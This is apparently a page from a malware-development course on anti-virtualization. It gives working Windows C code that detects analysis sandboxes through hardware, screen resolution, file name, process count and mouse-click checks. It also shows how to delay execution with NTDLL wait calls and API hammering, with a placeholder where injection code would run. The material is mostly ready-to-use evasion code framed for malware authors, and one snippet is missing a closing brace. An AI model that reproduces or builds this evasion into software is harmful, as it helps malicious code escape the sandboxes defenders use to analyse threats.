Anti-Virtualization

Virtualization Detection Techniques

Hardware Specs

Virtualized environments do not have full access to the host machine's hardware. The lack of full access to the hardware can be used by malware to detect if it's being executed inside a virtual environment or sandbox.

The following code will check if there are are fewer than 2 processors, if there are less than 2 gigabytes of RAM and if there are fewer than 2 previously mounted USBs:

BOOL IsVenvByHardwareCheck() {

	SYSTEM_INFO		SysInfo			= { 0 };
	MEMORYSTATUSEX	MemStatus		= { .dwLength = sizeof(MEMORYSTATUSEX) };
	HKEY			hKey			= NULL;
	DWORD			dwUsbNumber		= NULL;
	DWORD			dwRegErr		= NULL;

//	CPU CHECK
	GetSystemInfo(&SysInfo);

	// less than 2 processors
	if (SysInfo.dwNumberOfProcessors < 2){
		return TRUE;
	}
	
//	RAM CHECK
	if (!GlobalMemoryStatusEx(&MemStatus)) {
		printf("\n\t[!] GlobalMemoryStatusEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// less than 2 gb of ram
	if ((DWORD)MemStatus.ullTotalPhys < (DWORD)(2 * 1073741824)) {
		return TRUE;
	}

	
// NUMBER OF USB's EVER MOUNTED
	if ((dwRegErr = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Enum\\USBSTOR", NULL, KEY_READ, &hKey)) != ERROR_SUCCESS) {
		printf("\n\t[!] RegOpenKeyExA Failed With Error : %d | 0x%0.8X \n", dwRegErr, dwRegErr);
		return FALSE;
	}

	if ((dwRegErr = RegQueryInfoKeyA(hKey, NULL, NULL, NULL, &dwUsbNumber, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) != ERROR_SUCCESS) {
		printf("\n\t[!] RegQueryInfoKeyA Failed With Error : %d | 0x%0.8X \n", dwRegErr, dwRegErr);
		return FALSE;
	}
	
	// less than 2 usb's ever mounted 
	if (dwUsbNumber < 2) {
		return TRUE;
	}
	
	RegCloseKey(hKey);

	
	return FALSE;
}

/*
printf("\n[#] Running IsVenvByHardwareCheck ... ");
if (IsVenvByHardwareCheck())
	printf("<<!>> IsVenvByHardwareCheck Detected A Virtual Environment <<!>> \n");
else
	printf("[+] DONE \n");
*/

Machine Resolution Anti-Virtualization

// the callback function called whenever 'EnumDisplayMonitors' detects an display
BOOL CALLBACK ResolutionCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM ldata) {
	
	int				X		= 0,
					Y		= 0;
	MONITORINFO		MI		= { .cbSize = sizeof(MONITORINFO) };

	if (!GetMonitorInfoW(hMonitor, &MI)) {
		printf("\n\t[!] GetMonitorInfoW Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	// calculating the X coordinates of the desplay
	X = MI.rcMonitor.right - MI.rcMonitor.left;
	
	// calculating the Y coordinates of the desplay
	Y = MI.rcMonitor.top - MI.rcMonitor.bottom;

	// if numbers are in negative value, reverse them 
	if (X < 0)
		X = -X;
	if (Y < 0)
		Y = -Y;

	/*
	if not :
		-	1920x1080	-	1920x1200	-	1920x1600	-	1920x900
		-	2560x1080	-	2560x1200	-	2560x1600	-	1920x900
		-	1440x1080	-	1440x1200	-	1440x1600	-	1920x900
	*/
	
	if ((X != 1920 && X != 2560 && X != 1440) || (Y != 1080 && Y != 1200 && Y != 1600 && Y != 900))
		*((BOOL*)ldata) = TRUE;

	return TRUE;
}


BOOL CheckMachineResolution() {

	BOOL	SANDBOX		= FALSE;

	EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)ResolutionCallback, (LPARAM)(&SANDBOX));
	
	return SANDBOX;
}

/*
printf("\n[#] Running CheckMachineResolution ... ");
if (CheckMachineResolution())
	printf("<<!>> CheckMachineResolution Detected A Virtual Environment <<!>> \n");
else
	printf("[+] DONE \n");
*/

File Name Anti-Virtualization

Sandboxes often rename files as a method of classification. We will try to determine if the characters in the file name are digits. If more than 3 digits are in the file name, then we will assume it is in a sandbox.

BOOL ExeDigitsInNameCheck() {

	CHAR	Path					[MAX_PATH * 3];
	CHAR	cName					[MAX_PATH];
	DWORD   dwNumberOfDigits		= NULL;

	// getting the current filename (with the full path)
	if (!GetModuleFileNameA(NULL, Path, MAX_PATH * 3)) {
		printf("\n\t[!] GetModuleFileNameA Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	
	// to prevent a buffer overflow - getting the filename from the full path
	if (lstrlenA(PathFindFileNameA(Path)) < MAX_PATH)
		lstrcpyA(cName, PathFindFileNameA(Path));

	// counting number of digits
	for (int i = 0; i < lstrlenA(cName); i++){
		if (isdigit(cName[i]))
			dwNumberOfDigits++;
	}

	// max 3 digits allowed 
	if (dwNumberOfDigits > 3){
		return TRUE;
	}

	return FALSE;
}

/*
printf("\n[#] Running ExeDigitsInNameCheck ... ");
if (ExeDigitsInNameCheck())
	printf("<<!>> ExeDigitsInNameCheck Detected A Virtual Environment <<!>> \n");
else
	printf("[+] DONE \n");
*/

Number Of Running Processes

Sandboxes will generally not have many applications installed and therefore will have fewer processes running. A Windows system should have at least 60-70 processes running.

BOOL CheckMachineProcesses() {

	DWORD		adwProcesses		[1024];
	DWORD		dwReturnLen			= NULL,
				dwNmbrOfPids		= NULL;


	if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen)) {
		printf("\n\t[!] EnumProcesses Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	dwNmbrOfPids = dwReturnLen / sizeof(DWORD);

	if (dwNmbrOfPids < 50)	// less than 50 process, its a sandbox 
		return TRUE;

	return FALSE;
}

/*
printf("\n[#] Running CheckMachineProcesses ... ");
if (CheckMachineProcesses())
	printf("<<!>> CheckMachineProcesses Detected A Virtual Environment <<!>> \n");
else
	printf("[+] DONE \n");
*/

User Interaction

The lack of user interaction can be an indicator of a possible sandbox environment. For example, the malware can check if an environment does not receive any mouse clicks or keystrokes over a certain period.

#include <Windows.h>
#include <stdio.h>

#define MONITOR_TIME   20000 // monitor mouse clicks for 20 seconds

// global hook handle variable
HHOOK g_hMouseHook      = NULL;
// global mouse clicks counter
DWORD g_dwMouseClicks   = NULL;

// the callback function that will be executed whenever the user clicked a mouse button
LRESULT CALLBACK HookEvent(int nCode, WPARAM wParam, LPARAM lParam){

    // WM_RBUTTONDOWN :         "Right Mouse Click"
    // WM_LBUTTONDOWN :         "Left Mouse Click"
    // WM_MBUTTONDOWN :         "Middle Mouse Click"

    if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN || wParam == WM_MBUTTONDOWN) {
        printf("[+] Mouse Click Recorded \n");
        g_dwMouseClicks++;
    }

    return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);


BOOL MouseClicksLogger(){
    
    MSG         Msg         = { 0 };

    // installing hook 
    g_hMouseHook = SetWindowsHookExW(
        WH_MOUSE_LL,
        (HOOKPROC)HookEvent,
        NULL,
        NULL
    );
    if (!g_hMouseHook) {
        printf("[!] SetWindowsHookExW Failed With Error : %d \n", GetLastError());
    }

    // process unhandled events
    while (GetMessageW(&Msg, NULL, NULL, NULL)) {
        DefWindowProcW(Msg.hwnd, Msg.message, Msg.wParam, Msg.lParam);
    }
    
    return TRUE;
}

int main() {

    HANDLE  hThread         = NULL;
    DWORD   dwThreadId      = NULL;

    // running the hooking function in a seperate thread for 'MONITOR_TIME' ms
    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)MouseClicksLogger, NULL, NULL, &dwThreadId);
    if (hThread) {
        printf("\t\t<<>> Thread %d Is Created To Monitor Mouse Clicks For %d Seconds <<>>\n\n", dwThreadId, (MONITOR_TIME / 1000));
        WaitForSingleObject(hThread, MONITOR_TIME);
    }

    // unhooking
    if (g_hMouseHook && !UnhookWindowsHookEx(g_hMouseHook)) {
        printf("[!] UnhookWindowsHookEx Failed With Error : %d \n", GetLastError());
    }

    // the test
    printf("[i] Monitored User's Mouse Clicks : %d ... ", g_dwMouseClicks);
    // if less than 5 clicks - its a sandbox
    if (g_dwMouseClicks > 5)
        printf("[+] Passed The Test \n");
    else
        printf("[-] Posssibly A Virtual Environment \n");


    printf("[#] Press <Enter> To Quit ... ");
    getchar();

    return 0;
}

Delay Execution Techniques

Delay execution is a common technique utilized to bypass sandboxed environments. Sandboxes typically have time constraints that prevent them from analyzing a binary for a long duration.

Fast-Forwards Detection

The majority of sandboxes have implemented mitigations to counter execution delays. Such mitigations may involve fast-forwarding the delay durations so we must verify that the delay has taken place using the GetTickCount64 API.

BOOL DelayFunction(DWORD dwMilliSeconds){

  DWORD T0 = GetTickCount64();
  
  // The code needed to delay the execution for 'dwMilliSeconds' ms
  
  DWORD T1 = GetTickCount64();
  
  // Slept for at least 'dwMilliSeconds' ms, then 'DelayFunction' succeeded
  if ((DWORD)(T1 - T0) < dwMilliSeconds)
    return FALSE;
  else
    return TRUE;
}

WaitForSingleObject Delaying

BOOL DelayExecutionVia_WFSO(FLOAT ftMinutes) {

	// converting minutes to milliseconds
	DWORD	dwMilliSeconds	= ftMinutes * 60000;
	HANDLE	hEvent			= CreateEvent(NULL, NULL, NULL, NULL);
	DWORD	_T0				= NULL,
			_T1				= NULL;


	printf("[i] Delaying Execution Using \"WaitForSingleObject\" For %0.3d Seconds", (dwMilliSeconds / 1000));
	
	_T0 = GetTickCount64();

	// sleeping for 'dwMilliSeconds' ms 
	if (WaitForSingleObject(hEvent, dwMilliSeconds) == WAIT_FAILED) {
		printf("[!] WaitForSingleObject Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	_T1 = GetTickCount64();

	// slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_WFSO' succeeded, otherwize it failed
	if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
		return FALSE;

	printf("\n\t>> _T1 - _T0 = %d \n", (DWORD)(_T1 - _T0));

	printf("[+] DONE \n");

	CloseHandle(hEvent);

	return TRUE;
}

/*
printf("-------------------------------------------------------------------\n");
if (!DelayExecutionVia_WFSO(0.1)) {
	printf("\n\t\t<<!>> DelayExecutionVia_WFSO FAILED <<!>>\n");
}
*/

MsgWaitForMultipleObjectsEx Delaying

BOOL DelayExecutionVia_MWFMOEx(FLOAT ftMinutes) {

	// converting minutes to milliseconds
	DWORD	dwMilliSeconds	= ftMinutes * 60000;
	HANDLE	hEvent			= CreateEvent(NULL, NULL, NULL, NULL);
	DWORD	_T0				= NULL,
			_T1				= NULL;


	printf("[i] Delaying Execution Using \"MsgWaitForMultipleObjectsEx\" For %0.3d Seconds", (dwMilliSeconds / 1000));
	
	_T0 = GetTickCount64();

	// sleeping for 'dwMilliSeconds' ms 
	if (MsgWaitForMultipleObjectsEx(1, &hEvent, dwMilliSeconds, QS_HOTKEY, NULL) == WAIT_FAILED) {
		printf("[!] MsgWaitForMultipleObjectsEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	_T1 = GetTickCount64();

	// slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_MWFMOEx' succeeded, otherwize it failed
	if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
		return FALSE;

	printf("\n\t>> _T1 - _T0 = %d \n", (DWORD)(_T1 - _T0));

	printf("[+] DONE \n");

	CloseHandle(hEvent);

	return TRUE;
}

/*
printf("-------------------------------------------------------------------\n");
if (!DelayExecutionVia_MWFMOEx(0.1)) {
	printf("\n\t\t<<!>> DelayExecutionVia_MWFMOEx FAILED <<!>>\n");
}
*/

NtWaitForSingleObject Delaying

typedef NTSTATUS (NTAPI* fnNtWaitForSingleObject)(
	HANDLE         Handle,
	BOOLEAN        Alertable,
	PLARGE_INTEGER Timeout
);

BOOL DelayExecutionVia_NtWFSO(FLOAT ftMinutes) {

	// converting minutes to milliseconds
	DWORD					dwMilliSeconds			= ftMinutes * 60000;
	HANDLE					hEvent					= CreateEvent(NULL, NULL, NULL, NULL);
	LONGLONG				Delay					= NULL;
	NTSTATUS				STATUS					= NULL;
	LARGE_INTEGER			DelayInterval			= { 0 };
	fnNtWaitForSingleObject	pNtWaitForSingleObject	= (fnNtWaitForSingleObject)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtWaitForSingleObject");
	DWORD					_T0						= NULL,
							_T1						= NULL;


	printf("[i] Delaying Execution Using \"NtWaitForSingleObject\" For %0.3d Seconds", (dwMilliSeconds / 1000));
	
	// converting from milliseconds to the 100-nanosecond - negative time interval
	Delay = dwMilliSeconds * 10000;
	DelayInterval.QuadPart = - Delay;

	_T0 = GetTickCount64();

	// sleeping for 'dwMilliSeconds' ms 
	if ((STATUS = pNtWaitForSingleObject(hEvent, FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
		printf("[!] NtWaitForSingleObject Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	_T1 = GetTickCount64();
	
	// slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_NtWFSO' succeeded, otherwize it failed
	if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
		return FALSE;

	printf("\n\t>> _T1 - _T0 = %d \n", (DWORD)(_T1 - _T0));

	printf("[+] DONE \n");

	CloseHandle(hEvent);
	
	return TRUE;
}

/*
printf("-------------------------------------------------------------------\n");
if (!DelayExecutionVia_NtWFSO(0.1)) {
	printf("\n\t\t<<!>> DelayExecutionVia_NtWFSO FAILED <<!>>\n");
}
*/

NtDelayExecution Delaying

typedef NTSTATUS (NTAPI *fnNtDelayExecution)(
	BOOLEAN              Alertable,
	PLARGE_INTEGER       DelayInterval
);

BOOL DelayExecutionVia_NtDE(FLOAT ftMinutes) {

	// converting minutes to milliseconds
	DWORD				dwMilliSeconds		= ftMinutes * 60000;
	LARGE_INTEGER		DelayInterval		= { 0 };
	LONGLONG			Delay				= NULL;
	NTSTATUS			STATUS				= NULL;
	fnNtDelayExecution	pNtDelayExecution	= (fnNtDelayExecution)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtDelayExecution");
	DWORD				_T0					= NULL, 
						_T1					= NULL;

	printf("[i] Delaying Execution Using \"NtDelayExecution\" For %0.3d Seconds", (dwMilliSeconds / 1000));
	
	// converting from milliseconds to the 100-nanosecond - negative time interval
	Delay = dwMilliSeconds * 10000;
	DelayInterval.QuadPart = - Delay;

	_T0 = GetTickCount64();

	// sleeping for 'dwMilliSeconds' ms 
	if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
		printf("[!] NtDelayExecution Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	
	_T1 = GetTickCount64();

	// slept for at least 'dwMilliSeconds' ms, then 'DelayExecutionVia_NtDE' succeeded, otherwize it failed
	if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
		return FALSE;

	printf("\n\t>> _T1 - _T0 = %d \n", (DWORD)(_T1 - _T0));

	printf("[+] DONE \n");

	return TRUE;
}

/*
printf("-------------------------------------------------------------------\n");
if (!DelayExecutionVia_NtDE(0.1)) {
	printf("\n\t\t<<!>> DelayExecutionVia_NtDE FAILED <<!>>\n");
}
*/

API Hammering

API hammering is a sandbox bypass technique where random WinAPIs are rapidly called to delay the execution of a program. It can also be used to obfuscate the call stack of the running threads in the implementation. The malicious function calls in the implementation's logic will be hidden with random benign WinAPIs calls.

- API Hammering w/ CreateFileW, WriteFile and ReadFile

#include <Windows.h>
#include <stdio.h>

// file name to be created
#define TMPFILE	L"pene.tmp"

// macro that calculate the 'stress' value 
#define SECTOSTRESS(i)( (int)i * 196 )

// comment to show case api hammering for execution delation 
//\
#define APIHAMMERING_IN_BACKGROUND

#ifndef APIHAMMERING_IN_BACKGROUND
#define APIHAMMERING_AS_DELAY
#endif // !APIHAMMERING_IN_BACKGROUND

BOOL ApiHammering(DWORD dwStress) {

	WCHAR		szPath						[MAX_PATH * 2],
				szTmpPath					[MAX_PATH];

	HANDLE		hRFile						= INVALID_HANDLE_VALUE,
				hWFile						= INVALID_HANDLE_VALUE;
	
	DWORD		dwNumberOfBytesRead			= NULL,
				dwNumberOfBytesWritten		= NULL;
	
	PBYTE		pRandBuffer					= NULL;
	SIZE_T		sBufferSize					= 0xFFFFF;	// 1048575 byte
	
	INT			Random						= 0;

	// getting the tmp folder path
	if (!GetTempPathW(MAX_PATH, szTmpPath)) {
		printf("[!] GetTempPathW Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// constructing the file path 
	wsprintfW(szPath, L"%s%s", szTmpPath, TMPFILE);

	for (SIZE_T i = 0; i < dwStress; i++){

		// creating the file in write mode
		if ((hWFile = CreateFileW(szPath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL)) == INVALID_HANDLE_VALUE) {
			printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
			return FALSE;
		}

		// allocating a buffer and filling it with a random value
		pRandBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBufferSize);
		Random = rand() % 0xFF;
		memset(pRandBuffer, Random, sBufferSize);

		// writing the random data into the file
		if (!WriteFile(hWFile, pRandBuffer, sBufferSize, &dwNumberOfBytesWritten, NULL) || dwNumberOfBytesWritten != sBufferSize) {
			printf("[!] WriteFile Failed With Error : %d \n", GetLastError());
			printf("[i] Written %d Bytes of %d \n", dwNumberOfBytesWritten, sBufferSize);
			return FALSE;
		}

		// clearing the buffer & closing the handle of the file
		RtlZeroMemory(pRandBuffer, sBufferSize);
		CloseHandle(hWFile);

		// opennig the file in read mode & delete when closed
		if ((hRFile = CreateFileW(szPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, NULL)) == INVALID_HANDLE_VALUE) {
			printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
			return FALSE;
		}

		// reading the random data written before 	
		if (!ReadFile(hRFile, pRandBuffer, sBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != sBufferSize) {
			printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
			printf("[i] Read %d Bytes of %d \n", dwNumberOfBytesRead, sBufferSize);
			return FALSE;
		}

		// clearing the buffer & freeing it
		RtlZeroMemory(pRandBuffer, sBufferSize);
		HeapFree(GetProcessHeap(), NULL, pRandBuffer);

		// closing the handle of the file - deleting it
		CloseHandle(hRFile);
	}

	return TRUE;
}


#ifdef APIHAMMERING_AS_DELAY

int main() {

	// GetTickCount64() is used to show how much ApiHammering was able to delay the execution
	// and is not actually needed for the implementation

	DWORD	T0	= NULL,
			T1	= NULL;

	T0 = GetTickCount64();

	if (!ApiHammering(SECTOSTRESS(5))) {
		return -1;
	}

	T1 = GetTickCount64();

	printf(">>> ApiHammering Delayed Execution For : %d \n", (DWORD)(T1 - T0));

	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

#endif // APIHAMMERING_AS_DELAY

#ifdef APIHAMMERING_IN_BACKGROUND

int main() {

	DWORD dwThreadId = NULL;

	if (!CreateThread(NULL, NULL, ApiHammering, -1, NULL, &dwThreadId)) {
		printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
		return -1;
	}

	printf("[+] Thread %d Was Created To Run ApiHammering In The Background\n", dwThreadId);

	/*
	
		injection code can be here

	*/

	printf("[#] Press <Enter> To Quit ... ");
	getchar();

	return 0;
}

#endif // APIHAMMERING_IN_BACKGROUND

Last updated